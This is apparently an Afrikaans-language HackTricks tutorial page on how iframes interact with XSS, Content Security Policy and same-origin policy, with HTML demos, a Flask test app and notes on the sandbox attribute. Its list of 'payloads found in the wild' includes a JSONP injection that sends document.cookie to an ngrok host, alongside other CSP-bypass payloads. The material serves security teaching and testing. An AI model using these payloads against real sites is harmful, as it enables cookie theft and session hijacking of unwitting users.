9 KiB
Iframes in XSS, CSP en SOP
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of laai HackTricks in PDF af? Kyk na die SUBSCRIPTION PLANS!
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die hacktricks repo en hacktricks-cloud repo.
Iframes in XSS
Daar is 3 maniere om die inhoud van 'n iframed-bladsy aan te dui:
- Via
src
wat 'n URL aandui (die URL kan kruis-oorsprong of dieselfde oorsprong wees) - Via
src
wat die inhoud aandui deur diedata:
-protokol te gebruik - Via
srcdoc
wat die inhoud aandui
Toegang tot ouer- en kindervariabele
<html>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars(){
alert(if1.secret);
alert(if2.secret);
alert(if3.secret);
alert(if4.secret);
}
setTimeout(access_children_vars, 3000);
</script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>
As jy die vorige html via 'n http-bediener (soos python3 -m http.server
) toegang gee, sal jy opmerk dat al die skripte uitgevoer sal word (aangesien daar geen CSP is wat dit voorkom nie). Die ouer sal nie toegang hê tot die secret
var binne enige ifram nie en slegs die iframes if2 & if3 (wat as dieselfde webwerf beskou word) kan toegang kry tot die geheim in die oorspronklike venster.
Let daarop dat if4 as 'n "null" oorsprong beskou word.
Iframes met CSP
{% hint style="info" %} Let asseblief daarop hoe in die volgende omseilings die antwoord aan die iframed-bladsy geen CSP-kop bevat wat JS-uitvoering voorkom nie. {% endhint %}
Die self
-waarde van script-src
sal nie die uitvoering van die JS-kode met die data:
-protokol of die srcdoc
-eienskap toelaat nie.
Tog sal selfs die none
-waarde van die CSP die uitvoering van die iframes toelaat wat 'n URL (volledig of net die pad) in die src
-eienskap plaas.
Daarom is dit moontlik om die CSP van 'n bladsy te omseil met:
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
<script>
var secret = "31337s3cr37t";
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Let daarop hoe die vorige CSP slegs die uitvoering van die inline skrip toelaat.
Tog sal slegs if1
en if2
skripte uitgevoer word, maar slegs if1
sal toegang tot die ouer se geheim hê.
Daarom is dit moontlik om 'n CSP te omseil as jy 'n JS-lêer na die bediener kan oplaai en dit via 'n iframe kan laai, selfs met script-src 'none'
. Dit kan moontlik ook gedoen word deur 'n selfde-site JSONP-eindpunt te misbruik.
Jy kan dit toets met die volgende scenario waar 'n koekie selfs met script-src 'none'
gesteel word. Voer net die toepassing uit en besoek dit met jou webblaaier:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Ander vragmotors wat in die wild gevind is
<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandkas
Die inhoud binne 'n iframe kan onderworpe word aan addisionele beperkings deur die gebruik van die sandbox
eienskap. Standaard word hierdie eienskap nie toegepas nie, wat beteken dat daar geen beperkings in plek is nie.
Wanneer dit gebruik word, plaas die sandbox
eienskap verskeie beperkings op:
- Die inhoud word hanteer asof dit afkomstig is van 'n unieke bron.
- Enige poging om vorms in te dien, word geblokkeer.
- Uitvoering van skripte is verbied.
- Toegang tot sekere API's is gedeaktiveer.
- Dit voorkom dat skakels met ander blaaikontekste interaksie hê.
- Die gebruik van plugins via
<embed>
,<object>
,<applet>
, of soortgelyke etikette word nie toegelaat nie. - Navigasie van die inhoud se top-vlak blaaikonteks deur die inhoud self word voorkom.
- Funksies wat outomaties geaktiveer word, soos video-afspeel of outomatiese fokus op vormbehelemente, word geblokkeer.
Die waarde van die eienskap kan leeg gelaat word (sandbox=""
) om al die genoemde beperkings toe te pas. Alternatiewelik kan dit gestel word as 'n spasiëring-geskeide lys van spesifieke waardes wat die iframe vrystel van sekere beperkings.
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
Iframes in SOP
Kyk na die volgende bladsye:
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}
{% content-ref url="../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
- Werk jy in 'n cybersecurity-maatskappy? Wil jy jou maatskappy adverteer in HackTricks? Of wil jy toegang hê tot die nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat? Kyk na die SUBSCRIPTION PLANS!
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Kry die amptelike PEASS & HackTricks swag
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg my op Twitter 🐦@carlospolopm.
- Deel jou hacking-truuks deur PR's in te dien by die hacktricks repo en hacktricks-cloud repo.